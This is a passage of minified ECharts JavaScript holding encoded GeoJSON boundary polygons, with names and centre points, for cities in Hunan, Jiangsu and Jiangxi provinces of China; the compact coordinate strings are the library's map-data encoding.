„Å„ƒl@zkb@`m_mJ@xX„mbVbœ@llV@n„@llbXL˜UXalUšl„alVnwnLVKlšVbX@@I„V@blJ@bVL@VVVUXȤ‚VnkVÑXmlbnš‚„VKkÑř@UmaVç@±XUlI„xlV„@VaX¯lUVVUšVJn—V@°°nް„Vxĸł°¦šb²¦lJ@U@aUK@kUm@_m±VIXal@„Kl@„bV@K„K@k„m@UmUUaƒK@_UJƒaXU˜@Xmš_VmUk@WUk›@kU@a@m@UƒaUUU@al@ny‚XXWWwkly@¯n@@bnV@k@mVI‚„œVlUUmlU„JUw„I‚bXƒVaUal@K„b@ƒVKVkXVl@VkUU@ylUœVVaVL"],encodeOffsets:[[116888,29526]]}},{type:"Feature",id:"4309",properties:{name:"益阳市",cp:[111.731,28.3832],childNum:5},geometry:{type:"Polygon",coordinates:["@@„ŽÆxXL@l‚V„@̚VI‚bXKl@nVV@„XVŽ„JlbXalX„W„LVKš„„UVLl@VV„@ôބ@@Wn@lLlK@wnIVJX@VX@lVVUL‚VnkVVnKValUXblKnXl`UbVLÈU@W@IšKV@@bUV@Lš@lƒXV‚@VXXblWnLVblb@JnL„VUn@llb@„ƒx@ÞUV@nU`VÔmlX„mbUKUVUV@LVVUn˜ŽUb@°UXš@U‚VzVxnlVškšVnlVnaWƒ@wnIn`@_la@y„kƃVƒšU„L„xl@„ƒXLlmUUVakU@¥ÆwšblUUaôVšU@ÅXyVImƒ™ƒkUaġ¥ÅUWX™ƒKmU@Lƒa@UmUUƒUalan@VUnK@wm„m‚L@V„lXLVVl@VI@WX_™m@a™¯mKUkwW¥UK@_UWWLUVkUWL@WUIkVƒU@JƒwkLUUmJVI@WkXm@VmkKUIU@mmm_@VUV™@™„kJċwUU@KUWkkW@IWW@km@klwkWVkkU™V¯m@kWLU`mIkmkXm@@`@L@xUKWkU@VL@JUU@mbUKVa¯WVnL@`lXUVkU@xW@UbUWVU@UJ@„lnU@m‚nÈmVƒa@bUL™wUb™@@VkxmUUƒ™UV›K@IƒUƒmk@akm@wmIƒŽkK@b™VWXkm@wULUmm@UVW@Ub„mbkKƒVn„U@Wl„xV„U@UXmWUXmlnbUl¯Lmn"],encodeOffsets:[[113378,28981]]}},{type:"Feature",id:"4301",properties:{name:"长沙市",cp:[113.0823,28.2568],childNum:5},geometry:{type:"Polygon",coordinates:["@@lVUllXkx@lln@‚XX@JlXXl‚V@LVVČxlIšƒš@VU@Un`nnV@VJlLUnn@lW@XUJnIVVlK„x@I„VlUVJ@XXKlVVUXKVX@`VLX¦lxVŽnLš°‚an@„„‚bkmVaV@XL@U„KlU@llLXUÞJWkUknaÆxnŽ‚knK@w„@l„@xllUXUJVVUb„n@blV@bnƒ‚LnKVa„LVbVV„UX@W¥XKVL„VVklUVy„U„VÈÅlaUK°wnnÜbn‚V„VL„aVVš@šn@VmnVlIlJna„@Valkn@na@amwm@„UXw˜K@aUUVUUaVa—wWK@kU@UaW@kKUUƒƒ@k™W¯XWan@k„™mmÅ@@I@U@KmLkaVUƒKkLWVUƒk@UVmU@am@kkk¥ƒUƒVUK™„maUb@ŽUb™I@aƒKkkWm@W¯K¯b@VmaULVxUXlVk@UxVJVbUb@xULƒ@ULWW—LƒĕmxVVL@šVb™KUwƒaŲWwX@@WƒUWLU@VbkV@aU@@VUnmJ@VUn@VƒLUK@U‚mUIk@UÇmU@@UW@J@LƒbUmVI@aUmW@@bkXUx@lmLUbm@UbkJ@V@XmlUbkKm@ma@kUaVU@aUK@mImJUIkVƒUƒVUakbWwka@UWKkLUamKUXm`Å_U˜ƒULmaU@@lUV@X"],encodeOffsets:[[114582,28694]]}},{type:"Feature",id:"4302",properties:{name:"株洲市",cp:[113.5327,27.0319],childNum:6},geometry:{type:"Polygon",coordinates:["@@X‚‚Unw„Ė˜KXXVK„@VK@wVaUaUIVwl@kUVWUwVKnb@U°a°LXŽ‚@Xnll„L@bšJVa@VanbšƒVL„U„V@al@@UV¯ÅÇ@Ummk™w@¯ƒyVwnUVVVUkmWV—nKVUƒa@WXkVKn@lUVU„VVVXIlV°VnI@VlKnV@mwVm@LXKWkU¥wWwƒƒ@k@m„X@KX¯V@VUVa@VnKWkœƒV@VUkm@aWa@wkUWwkmV£VÿXUVL@mVIXaò@nW@ašUš@@am™@aUU„UmXmWUk@ƒƒnUW@_maVm™wUkamaUL@aƒwƒW@akI@UƒxUm@kmKUk™lUŽ@b„zV˜m¯xUVU@ƒXVxm`kÈlxXVW„@¦kVUn@xƒxƒKUwÅKVXUJWnXŽmVUxWL„¦XŽm„mK—bmUUwW@UV@šk@ƒšVLnŽlbLm`@¦VVkX@`WIUށxVnlb„WVbXIV‚lI@l¦Ç@UKmbk™W@UbUVU„ƒl@n@VmLXb@JWbUnkbVxUJUxWXXlWL@V@V@XXJWx„zUVVVVKnXW`@bkIUl‚„nLVJUbUIWVXlWV@XklVbnn@xlš"],encodeOffsets:[[115774,28587]]}},{type:"Feature",id:"4308",properties:{name:"张家界市",cp:[110.5115,29.328],childNum:3},geometry:{type:"Polygon",coordinates:["@@@InWVw°wš„@š@šblUœKlUlV„U„@VUUUlW@aöUlUlLÞ@@aVKXwlK@UX@@UlwkƒVkUm@m›@ÅVƒ@akwVaUk›UUlUL¯wƒƒ@UUmƒ@UkƒKƒlw±UULVn@l_XyWwÅ@VUUmJUXU@@mmƒU@kxW@UaUIWbU@@mU@UxƒnUbmKk„WJkUValƒ@aUkUxƒlW_@WUIU@ƒbkKWUJVnUb™bWb„lU@nl›„@XnVmV@n—mWV@LXl@X›JXVmzkJUXmƒ™KULm°Vb@xnVmnUšk@ƒƒ™VƒnnlUb@nm¼m@Ûǃ„Vl@X˜mnm„²ŽmL@x™K@LUl@nULÆx@V@VXVWbXX˜l„@nLlm@bVKœX‚W„L°bnUš@VaVUš@šmšVw„JnwVK°zn@V‚Vb„a„@Ċ¼"],encodeOffsets:[[113288,30471]]}},{type:"Feature",id:"4313",properties:{name:"娄底市",cp:[111.6431,27.7185],childNum:5},geometry:{type:"Polygon",coordinates:["@@lL„nJ@xln@bnlV„‚„@JœLVUšŽV„nVlw@Uš@VašxVK@a„bnUmÇnV@km@ƒ‚I@VUVVXVaX@@wlVVUkW@_mKXU°‚UbVLnaV@‚V@IUKV@XlVL@w@K@_n@lWlnnJV_XK@l°nšU@WVU@kV@nbVK„V—lƒ@nLlƒ„LXU@ƒlmkw@nW@UKVa¯IVn@@aVUUKl@nXVKVn²a˜ŽXblKnLlmVI@KUU@akLUaVa‚UXm@aƒ@wVUVKnLnWlXl‚n@@U@anUVm@U‚Inm@IUK@UmKVmU_kVUwm@@VmL—K@VƒL™aUaVUUUmKƒ¥ULkšƒVWaXwWa@UXImWUaULUUWKk@WnXbWށVWnk@UV@bU@@bƒJ@bƒV@XkŽmb™UU`VbkaWzƒ@klU@ƒb@VƒwUL@bV@U`ULVL@VUK@Xm@XWWIUbUxm@@lkkÇwƒVÛÇW@¯Å™UJ@xƒI™xƒ@@VULmKUnUxmKULUUm@@‚ULƒU™JkIWJ@b@LJUW„kJWnUV@nn˜Ü_nJšxU@VbšnUxlškb@lš@"],encodeOffsets:[[113682,28699]]}},{type:"Feature",id:"4303",properties:{name:"湘潭市",cp:[112.5439,27.7075],childNum:4},geometry:{type:"Polygon",coordinates:["@@Æ`n_VWnLVblKXL@VlbXxlaVb„U„VlUVJnInJ‚@VL@bUVVb@lnbn@lLVank@W@UlIVan@VanK@kVwlW@aX@Vn@bUJVn„a@K‚IX@@VV@nŽVÈl@VJn@VVL„K@UVm@UnIVm@UV@@blUUaV@XK„V@XW@XxƱ„bVxšLUa@™UKWk™@wmmUalk@WXUWkXUVJVaUImKƒVklJ@aX_mWULUUVUƒyXwWI@W@U@UXKWkXWVwU@±_U»ÝKUaƒLVbkJkƒWmXk@UVVŽmIUV™J@UU@UamLmwUVU@mnJ@VUnmV@b@Vm@kkWmXmKULUV@x„Ž@bWnVUbVblK@bVV@LUJknmKkLWa—±bUmULmWk@VLUV@bm@U°JUbVLX@@mlxkn@„WVƒKk„mK@k„"],encodeOffsets:[[114683,28576]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/jiang_su_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"3209",properties:{name:"盐城市",cp:[120.2234,33.5577],childNum:8},geometry:{type:"Polygon",coordinates:["@@„n@‚°ĀÞ°@¦ULWKkx@bkLWb@lUlVXXJVbƒnUKmxXV@bm@@Xš‚„LޚܦXlVnš‚mzVJ@n@‚²ÞôkƃÞaȰĉ‚wnljÜó„éVÛnĊīČlj‚ĉ@ō@KÞUlU@ƒkklÇÈњÑlġXɛ@UġƒƒaU@U_ƒW@n™@kaUL@VW@kKmkUV@bkbWW@bkzma@ƒJWI@KUKULƒ@U¦™`@XUJ™U@KmXƒw¯KXkmy@aUIWJXXmV@K¯UU@@bVL@¤VLXbV@@JVXVK@„„JVn@bkKmakVVXUVVVlI@`U@nzVVƒb@¤n@@UlKXLVVšI@V@nV@V‚@ÈUx@šóVōšƒkÅWó@mU@bk@Ýwk@WbXxm@@J@zV@kVƒbV‚nLWVUX™WUXUŽWLUށ@Wl°z@VkxU@UVWIxWJkbƒĬ„nW@@bUl"], +encodeOffsets:[[122344,34504]]}},{type:"Feature",id:"3203",properties:{name:"徐州市",cp:[117.5208,34.3268],childNum:7},geometry:{type:"Polygon",coordinates:["@@XKVX@WnIVx@K°Lnll@@I°K„nVašU°x²mlxš@VanU@aƒk@akmV@@w™@Ua@aUwVwUw@w›@UK@£kaĉlóIÇVkޱ@@kUKmVkIkxW@Ua¯UUm@UVI@WVI„JV@ƒ@Um@Uana„U@m‚I@J@XV@XaVlkXƒVaUUWLUyVIXmWak@ƒXkJókƒJUL@KWkk@ULU@Wa™lUIkJmI™mk„VbVš@lV°kXUKWKULU„mb@VUlVnƒb@VV@IVKUUmU@ak@@bmV@xklƒUƒU@UKmV@nƒJVbkXƒKUamLUJ¯UUVmI™bVV—Ll`@LƒLU`m@kXUVU@V„lxUK@xkIWbUKƒx@V‚kVVn™b¯@@U™@ƒxk‚mbkLÇK™b™@@XnJ@LmVklƒ@@XƒlUƒVkxƒakVVb@bVnUbU@@x˜VUšVb@š„ŽnIĊ`šXVVôJš_„K@xlU²Klk„U„@VaVVÈm@kVUVmnamUUaVƒXIVJ„@‚ç@¥nkVLn›„@@XVK@VUX@JVUV@UnVJVLUJVLUVlšnI„b‚KnU@m°™VanI@anV‚KVL„an„lK„blš„KÞk@¦@¤@„VKnLVK„L„KVzlWšLX@VmV@VbnU°@Ualk™˜WXLVU„KWkUUWšƒ@£Wa"],encodeOffsets:[[121005,35213]]}},{type:"Feature",id:"3206",properties:{name:"南通市",cp:[121.1023,32.1625],childNum:7},geometry:{type:"Polygon",coordinates:["@@VJ@bnzWl°L„xnW@LšVVI@Wš_V¥„@VKVL@LXJ„I‚@nbly@aXXla@aVUnllLX@@UVKlbš@@m„XV`V@„bĢ„lkČÇÆƒȘ¯šwnĕVĉVÿšUƒUĠƒŦğlXÑVǵ@±ōLʵ˝lÇbÝÞ¯xk@Çkķé™n¯@ğŽġƴǫ@kVVlUbƒL@xULǂóLUl¤@nkVV°VLkxVb@l™aUXUKWĖklVX@¤UšƒUkb"],encodeOffsets:[[123087,33385]]}},{type:"Feature",id:"3208",properties:{name:"淮安市",cp:[118.927,33.4039],childNum:5},geometry:{type:"Polygon",coordinates:["@@šnźUôÒɴ胚l¦nĖV‚kbmš„X@xVlVL@xUb@bUJVnUx‚šœ„lKVLÈx‚m„zXV@lW@XV‚b@bȚVxnb‚ƒVIXa°L„aÆVVaXUlK@aXIƄVlXKVUlIXalK@alwXLVK@¥Ý¯¯ÿ@ƒmVk@aX@ƒm„īlaXI‚wXJVUV@lw@U¯yb›UaƒUġUÅaUKVknaġm@kUm@wÆIV±nLÆw„ÇnUUkƒ@ƅÝU¯JÝI¯¦Ul@bƒ@@VVL@l@LƒLÅmƒL@b™@UaVaUWmLUKV¹KƒLWKX¥WI@mXk@UmaUVUU@VmL@W™bkIUWƒUmVóIkbmm™@UbVLUxmJkU@bkJWbnXU`Wz™KUÞÈlVb™Lmx@„kè@Æ"],encodeOffsets:[[121062,33975]]}},{type:"Feature",id:"3205",properties:{name:"苏州市",cp:[120.6519,31.3989],childNum:6},geometry:{type:"Polygon",coordinates:["@@ôèĊVnX°¤²„lxƒÈÜ@²x@J@b@X‚`nIUƙUUV@bl@VVnL@L@xƒJ@X@blJXnW@@`XbW„kVƒ@UbVxƒXUxkV@LóxVbUVWš²šVJĸklUǬ@ĢƳĠ°@šmƒī°»ÈÇ¥ULUU±a@bU@¯ƒU@KnImUVWUk™mXUVU@lIVaUUVWKUbUkWKU¥n£WakJUkUL›K¯L™KkƒVIn@VaUƒVUUƒ›UkVk@ƒU@amUkJƒ@UUlwX¥W@@UkVmk@JUakL›@kk¯ÝmJUn@nmVXlmbVVkn@„UJ@±WUxV¯a¯KōbżÇxUxƒšUUlWL"],encodeOffsets:[[122794,31917]]}},{type:"Feature",id:"3213",properties:{name:"宿迁市",cp:[118.5535,33.7775],childNum:4},geometry:{type:"Polygon",coordinates:["@@XbWnUJVzXKVVUbW„klUWbU@@W@IJ@nƒVmbVbn@@V@„UŽƒIUJ@XUJ@VVn°VVbX@lwlJnUVL@l²@lÈUôJĊklb@¤VLœ@@xVxUxVx@bVbš@@xU@ln„mnX˜mXLVmV@X@lxVnVJôL„LXa‚x@b„@@KVL@bn@@m@™@alLUUVaU¥nIV±‚I@mXI@aWWXU@LlUXWW_XWmaUwǙ@aaWUX@@kWUƒynÇwUKkL›ƒ™VwUmVI@aVa@wUKUk@wƒWn™laUmĕk¥„™ɳçóÑŹV™mmzkVmm@a@Ióƒk@@LWU@`—„WbXLWlkImJVn@`nXVbXŽmL@Vn@‚l@nUVl°Xx°U@LVĠ@z°˜@¦UV@Xn@VJmV"],encodeOffsets:[[121005,34560]]}},{type:"Feature",id:"3207",properties:{name:"连云港市",cp:[119.1248,34.552],childNum:5},geometry:{type:"Polygon",coordinates:["@@@‚lzXxmÆV„„@@¦„@l`XnlKšXXm‚KnLla„b„@„xmbm@kL@V@Vl@@VUXšJX„mbš@@„°Æ@èÈzlW°XĢJlÈ`lInbšWV_@mš™@UUķnƒôw°ÆmnaVƒVÛVmĸ»Ģw±Ý@@mUIny™UmWkۥݙƒK™@Wn@@aWUnwVL„mUaWIUWVk@kkJUVWLUkŃWJ@bkLWVUbÅUƒb¯KWbUJ„WXX`WXkV@KWVXX@bWJ@nJU²mJV¦UbVVkK@b@š@nm@@aUK@Lƒ@@awWbƒKóKUIUmkwW@U@UnWK—nmWƒn@b„l@bmVUb™@kw±n¯w™VUb"],encodeOffsets:[[121253,35264]]}},{type:"Feature",id:"3210",properties:{name:"扬州市",cp:[119.4653,32.8162],childNum:5},geometry:{type:"Polygon",coordinates:["@@VUXblVVV„b@xV@kz„V@l‚wVLUbVV@VU@VbUbl‚b@nkͰIÞV@Ɔ„VlmVƒÈÅxmKU²ÅJ@xVn@lĢnmbUlVLÆbĢV„V‚bœV‚aXk‚@VXKVVWšXVWXUmKU„aWaU@™¥@£XW‚UUV@@ynam_VWkUVUna@ÆV@mnkWmXkWU„W@k„@@akklƒlWUI@UnKl¥™I@VVma@a@I@U@a@anK@UmK@ÅVUnJl™kI@aVwka@mVIUW@UWL@WÅbmIƒƒULka™UWƒUxkLUKWlXL@VƒImƒÅVƒU™mĉL™Uól¯I±l@ÒUbVbUVVXUJUnVV@lnbl@"],encodeOffsets:[[121928,33244]]}},{type:"Feature",id:"3201",properties:{name:"南京市",cp:[118.8062,31.9208],childNum:3},geometry:{type:"Polygon",coordinates:["@@k@ma@kUUVmVIUWVUUaVa@Ѳk°Jôk@Wmk¯KmX¯aUakKƒƒWU„@XU‚LXaV@@mUaVUUl@VmkaUXm@ƒWUUna°IlmV™m™IUW‚@Uk@@aV@VVX@„V‚I°»nm„U@VKVan@m»UaU@U_@WlIUa™aVaUala@¯n@‚ƒkaUkUUWKU@mwkUUmmL@K@ƒLmUUVƒKƒVÅImU—JƒƒVkVVLšèVLVU@W„L„V„š@nVÜULVŽUL@bW@XbWbkJƒUUVUxVXmVk@WUUkVmIƒV@„nbnVWbƒJU„kUULƒa@Jma@XkK@VVL@L@JƒLUVU@V¼ƒnXlƒbm@kbUKmn@lVb@VXXV‚UV@b@LVbÆxXbl@@lV@U„VV@XVK²VlIš`„UbVbUlVVn@WXn@@VUV@„@KmbVLXқLkKƒV@nX@VVUV@b™nVllbšmnb„IWVXU@`lLlknVnmlLlbUmVInK°nUƒU@l@VU@Vn@„ƒ@alI„`VIXaVaVa"],encodeOffsets:[[121928,33244]]}},{type:"Feature",id:"3212",properties:{name:"泰州市",cp:[120.0586,32.5525],childNum:5},geometry:{type:"Polygon",coordinates:["@@lUU@@y@In@WwXal@Þxl@@anVô@ÆX„lŎ™ôU@™Vw@ÇUU@@m@U™JUUWKkL@Vm@@£„aUUmyV@@_kJUUVUUWlUnblL@aUmƒI@ƒULUW@IU@WaUK@£UK@aV@°V@LnUWWXIla„VV™@£UWlkXĕVLVWšb@kUalwUKU¯lU@mk£VôKȁVK@w„KVaUkķlUI±™ğ¥ÝUʚ™Ž¯ôm¦ƒĸ™‚@XXK@VVXUJ@nlbUx@blJkšmIUV@ÆnL@VmL@b@b@V@J@bnb‚U@UšJk¦mL@VVJkXk„ll@bƒ@@lƒXXVWlXnml@nÅU@ŽmbUVlVUXn`mb@zU@V‚VWX@¤š¦V@Xb"],encodeOffsets:[[122592,34015]]}},{type:"Feature",id:"3202",properties:{name:"无锡市",cp:[120.3442,31.5527],childNum:3},geometry:{type:"Polygon",coordinates:["@@nLƒÒlxUVkL™am@™ƒkVWUULUxVVVbUV@bVLU‚nnź™ÞVĠ¦X™VUUaôw@KlUVw„WUwVa„@lUXƒWa@_X@WmkI@a@W„I@w@KmKUUk@@aVUšVVÅmJ_@W@a@I±wÛ@ƑÇkw±ƒ¯£mWĉUóçƒK¯VkUWK@XkV¯UWabƒmUa™UUb™lln@b@xƒbXŽWX`@„VxUblL@bn@Vb@`m@XbWnn@l¤„n@xnVlU„™VLÆWœkV@VbÞJ‚_nƒl@nKVU@aU™U@mVk°WVLUV¯bVXŽ˜bXlVn@VmL@x—V@bl„š‚@œnW@X@VVJ@²VJVU"],encodeOffsets:[[123064,32513]]}},{type:"Feature",id:"3204",properties:{name:"常州市",cp:[119.4543,31.5582],childNum:3},geometry:{type:"Polygon",coordinates:["@@„L˜ŽnxUbVVƒL@xnnW‚nn@VVXn@‚yœImx„„°ƒšL„a‚¥n@VkšKVw„W@nX„VJ@b‚@UVn„ƒ@UnUV@L‚b@`VLklVÞn„Æ@VaXLl™ÈJšmmVUK@aVUUaUUVwVKXVlUš„n@šblKVUkw„ÑmKUVUI@±UI@U@WmX@›™kƒ@a˜U@wnK@UUmWk—aWU°aVUUK¯XUl@nVŽVš@bUVmLk@m„`ÝIUaU@›lÅXUKƒškVmU@wƒmk£m@XmWan@@_Uam@@akKVaUw@ƒW_XW„a@w@akmm@mL@UJmnUKƒ@@XnJWLkKUb@„Vxk„WƒL—aWVUImVULUK@L@lkLVVVllb„m@@°kbVbUbšbVbkJ@XV`V@Vbn¼"],encodeOffsets:[[122097,32389]]}},{type:"Feature",id:"3211",properties:{name:"镇江市",cp:[119.4763,31.9702],childNum:4},geometry:{type:"Polygon",coordinates:["@@šVĊKšn„VÆUn„„J@UWKXkVLlKVwX„šVlbVK„„nJÆaš„ķn¥°óÇIkšWKUbÅ@mƒUÝlkUK@_a@KVUVm„@mƒVU@@aUIWƒ@mƒXUx™LUlm@¦ƒb™K¯„ƒƒnw›Jzm@UW@UmmXmm@w„KUUVamw—ƒKm@UbUL@ŽƒVmn¯¼JƒUW@UUU@@bl@@VŽVXšJšnnU‚‚k¯JmbVV„Xn@VWlbUnk@VVUŽVb@nU@WbKWVƒ@XV„„lLVb°bnW°Lnl@X"],encodeOffsets:[[122097,32997]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/jiang_xi_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"3607",properties:{name:"赣州市",cp:[115.2795,25.8124],childNum:18},geometry:{type:"Polygon",coordinates:["@@„`l@Èbln„@„KVLl@„V@bȎlnšKXkVlVL@„lJnb„¦VKVVnX„W@w°@VU„mln„UV`šU„bVUV@„xnKVI°KXKVkVL@al@Xa„LVlULWV™VVL@b„x@VXVmb@x@V™VV@nn¤„šlb°b°KXXWbX`lbXx‚z@x„`VIVUnK„L‚x„WXLVKVbVLVU@wnW°b„@nalX„‚mXVJn@U²mKkVl„U@@xlnœaVmlKnœ@JVLlŽnVššl@XXÆèVlUX@xVLXVšb°W@wnUWmXk@K‚LVwUmUkUKUw@wVaVK@kƒ@WnkUKWkwlmXL@KVUlLVKXmWU„L@ašL@malaVk@aa‚ašƒnXš@VVUblb„Jn˜ƒXa„V‚wn£„K@UWmUk@ƒUaWIV@b™JW@KmmU@aUUUkmKkVKlUU™nKVU„lVaV£Å¥WUUK@UkUUw@m@mIkƒƒUUWƒLƒK¯Uw°¯@wUKUbƒKmƒ@kkKUL@UUKV¥U@manw@k@U@Wm@@U@Wwkm„wWaUU@UUmV¯kwƒ@@kmƒkKkUW@UK@ÅV@XWWkXa@Ul@Va@KVaUUU@ƒaXwla@UkVWaXk@K@lmkUmV@Vmbk@ƒ»XIƒ¥VUkƒVUVU@anKVUƒKUalU@wX@˜™@a@K—@ÝwƒL@ŽUnÇlUIkJmn@ŽƒbVVb@VmnkLƒV¯U@ƒ±l—IWmƒ@kaUI@aÇU@K@KUIkbWbƒJUIUyƒX¯ƒUbU@méUUmUk„WK—xWIkJm@V¥U_UJUwmVkšƒUU@ƒƒƒ@knƒwm@UmkWJkL@n@VW@@‚U@knm@kUml@xÅxƒ@@XUJlb„@VX„JVxn@lbV„@lULnV@VlnV@bWV@bXL@lVLVb„V@blLn@Vl„K@xln@bX@lašLVbnKUVVb„KlXVVkxƒV@nnVUb‚lV@@z—°WWkbƒIk‚WL@LUJ@bUI@b™`@UmI@mkK¯XW™™mUV¯@UUVUUam@@VULWUJƒIm`IUJ›KUkW@Uxn‚WbnnmlXbmIUVmV@Vnb@V™LUKWLnÒVVV@V„UL@„kJUV@bƒÈ@ŽšV°šŽ@XVV@l@xUz"],encodeOffsets:[[116753,26596]]}},{type:"Feature",id:"3608",properties:{name:"吉安市",cp:[114.884,26.9659],childNum:12},geometry:{type:"Polygon",coordinates:["@@lxnb@V@bV@ln@‚n„‚lInš@blVXK‚nk¼@VUKWL@b™L@`UXU`ƒ@V¦XLĠ@lJ„¦@„nV@l°nn@‚mVXnaš@nb‚K„n@l„IVƒš@VanJ@_lKVVnš„L@L‚K@Vn@VbšUVanKlLnbnJVbšnWVnVVanI@‚Vb@L„bVKVanXVbVJVU@aXLll„bôlƼXxVLVK@Xn@ƒxnVVVmb@LnVVKVXV@@mnaVXUVnV˜K@_UaUmšwnKV_‚anKVLš»„K@¯ÝU@›™U@kWlUn™lknK‚VnaUkma@ƒUIUwl»Åw@ƒVwV@n™‚n@ÈXlKVmna@kVw@anm‚@n_WWk@™™mUkUK@Im›kLUn›bkm@wV@kƒlUnLV±m@UInWƒkWmbƒ@¯amX@xUVUKUaULWKƒXwƒKmLUVUJƒ_@wyWwkaW_XaWW¯L¯akaƒ™m£@mUUš@U@wnaWU@Uƒw@aUKšUXUVKUkƒKWbk@@bUKUlWL¯LUJmLƒwU@UVƒa™VU_ƒVkmƒnUV¯@@xƒXmWUUULƒ¥makI@ƒUKUkWl™LkmǍ@aƒUk@UKƒLƒ@kmÇak@ƒ_VlkL@`lbnšlLVanLnbmVÆln@škJlbknmKUbÝmmwULUK@bkLWKULUUma@Kk@UV@L@llbVzšxUxnl@bVLmŽšŽ@IVJXœVlƒLV`@bn²@J™@™V@Xmbñ@WbUJ@bm@@LUĬU‚„¦lV@xXb@blnUV"],encodeOffsets:[[116652,27608]]}},{type:"Feature",id:"3611",properties:{name:"上饶市",cp:[117.8613,28.7292],childNum:12},geometry:{type:"Polygon",coordinates:["@@„„@„V‚š„„I°`nm¤²@bVJUVVXUl@Vmb@xV@XbmVVœ@lkLmbn`VbnU‚@Va„UnbVllUXV„a@w°VW@_VWšLššnVlbšLVbnl„KšnVK@IUW@_@am@™‚ÑUólK@U@WU@VwU@UI@aUU‚aXƒƒ@kwmJV@yX@k‚anƒƒ@mkwVmmI@aUU@aUUW@kVkV@@anKš»„XVWnIVUl`@_„W@wlUœV@UWKnU‚bnްInJl„UV@VnI‚b„Wn@VklL@l@Vn²m@U`kI@bWJƒnV@°VXnJm„XVmx@VVL@bkLmWULUmU@ƒbWXb@llnX@‚xkxVV„nVV@¤nL‚nVxnJVXX@˜ššbn`VI„b„@„blmlLnaV@„blWXnlUnbl@„ƒšKVanUVmm_XK@kWWnašU@UnaWUXa›ƒXamUkKmXUWƒLX¯WakKm™nUWwXa@KW_„aXWW_@WnIVl@XU‚LnWVknK@ImyUUÆbXK„Û@W@IÆUnƒVÝlkVK@mUIVwkUVaUm@aVIVyXIƒaÈwmmk@UnanVUmÅaó»lwšW@kkUVmUK@WKLƒUmWULkamK™Lk@Wa@wk@UU@U@mbUIWVKUXWmkUmVm›U@LkakKƒw@w@U™¯ƒ‚ƒUUn¯l@bmn@xkJWxkL@VkI@mƒkmJUI@V@b@VVxnbWlkÈkVƒLƒbkKmVƒL@V@²nxW‚kLUL@xlKVx„bXmVnšWJ@ޙ°@n™xUKUw±`UImVmnU@kalm@akwƒU@UUJmxU@@Uƒ@kU@Um@@Kn™ƒVm@k™KmkU@@WUnkLWxkVUwmKmLkU™bmKUbVŽ@xUnkJ@n±ŽšUxVXUšWJ@LUb™lUnm@ƒW@nknUJUVm@kXllknVbÆK„VVbš¼V„@šUl"],encodeOffsets:[[119194,29751]]}},{type:"Feature",id:"3604",properties:{name:"九江市",cp:[115.4224,29.3774],childNum:12},geometry:{type:"Polygon",coordinates:["@@WUkVUkmaƒVUb@mVUam_nalK@kU›nUWaU@@wna@UVkUWVUUI@a‚±n£m¯_ƒJ™ƒU@ƒƒƒĉ¦Ul@UV™Km™mLlm@ğ¹m`Uk¯@@UVK¯™@UUK@amkmKkVVUa@UkUƒKƒŽUa™L@VVXUJ™@ƒnƒ@™š™WUbƒnVb¯V@LÅlÝIƒJÅkݙm@Ua™WUU@UmUXmmwVUUKWUX±mUam@kWƒzUaVmÇw@aÅLmKXƒ‚UWKkL@W¯IƒwVw™lkUƒJ@Um@ÛÈWށKUxWkƒaUU@KkLVl@„UKUX±KUb@nVVUbUVmaUlUL@„ƒaUL@‚@nUlWzX`@„V@lx²„@Vlb@bšVÞ@°nl@UxVL@lUbVV@n²xVUVmnUÞb‚a„J@IšV°xnbl@nbÆ@VwnK@VnXlK°xnUlVX„V@Vl@L@lk@W_XK@KƒkWxUL@J„nVx@aX@VVUa˜IXlmL@bVVX@VbnK‚a²XVWƒk°a„@UnV¤nbmLmW@XbmJUbVL„aÞK„L@K@U@aVKlbV@nXlJœxV@VnšŽVȚ„ÞKôbźĕČmV@ĊšŽ²xÆIšV@Þ¦ĸ¼ÞVlŽVÞnxln°Jœk‚LXWVUVUVwnJVI@yn@lXlaXmWI@w—»ma@UmK@akKkXmW@_kaWakKWk@@K@IšWƒkUa„ƒ"],encodeOffsets:[[119487,30319]]}},{type:"Feature",id:"3610",properties:{name:"抚州市",cp:[116.4441,27.4933],childNum:11},geometry:{type:"Polygon",coordinates:["@@°V°UnÜ@n@lnLlV@bšV°L„lnLllVzVVXlV„V@@L@xX@WlX„m@UVƒL@V@n„°škVmVUnKlaXxVbšnlU@lVVnaVI@aX@V„šJš@V„@b„b@šVbš‚@X@lUL@Ž@VlIVm@wUVanLšalVnKnLVxlUXwlKVm@k@Una@mWIXKWUÛVƒk@a@UVWn@@kl@@W„XlW@_Um@UVK@a„LnalInWV@@xnI@¥‚K„—šm@kKmƒnk@mlI„¤laXbVblknV@U‚KXVlUXa‚@@Unw@±mU@ak_±a@ƒUJUIƒVKW_Xa@aWU™šK@mmUVa@IXa@UWmšannlmX¯WKXwVUVwƒ@XUlK@klJXa@kƒkmm@Uwƒw@¯ƒW¯kw@WmbULƒaUUU@mVUU™WmkUb™KmkkK@aƒkUƒ¯¥Uƒl—ƒm@akU@mš@KVIVV@KUkUVUkaƒUWb—„mƒIkaVaUU™@mW™„b‚b@bUlkb‚b@n™K@bƒKXVWnULkKUV@LWKknlxXŽVLml@X„Ž@lULUb@xVxVLVlVnUxK@LWlXnmV@x¯X™aWUUK@wVWUkÅçm`@mn@bUx@lmbUnkLÇWm@mšU@Ux@„Æxk¼VxVJ@„nbVlmbUmLklmškVlX@‚VœšV@°Þ"],encodeOffsets:[[118508,28396]]}},{type:"Feature",id:"3609",properties:{name:"宜春市",cp:[115.0159,28.3228],childNum:10},geometry:{type:"Polygon",coordinates:["@@@VlbnK@b@JšLlUnx±ĀXxÆW„X@lš@V„@@blJ@nX@˜xUbVVUbVV@b—VmnmJœ„@bmbm@klUbƒLmbœš@lVb@xUX@bVVVbV¤@LVV„bXlVw‚LXÜÇn@@V„IlVškUx„x°J@XlKXLV„‚WnLÆK@bÈxUnVb„ylXn@Vbn‚W²XV‚LVVUŽnxWnnV@VVVšXVbn@ޚÆl„IÞJÆk@K°UUa„mVa@UUUš»@wV@VƒkkUKUVW£U@UmW@@aXkVUnVlKVV„UUkVmU™@kWaUanU„VVamIX¥W@@aUaUVW@_mW@UnIVVn@VbVm@bVL@anKVUkƒWK„UXV‚Ikx‚@na„bVK„b@nVJ„_V›@Vw„‚VUVVXUlUUaV@X@VblašbnKlkVaXaƒ¯@m@U„KVUn@WƒXkW@@w@KU@UƒWkUUUykkmK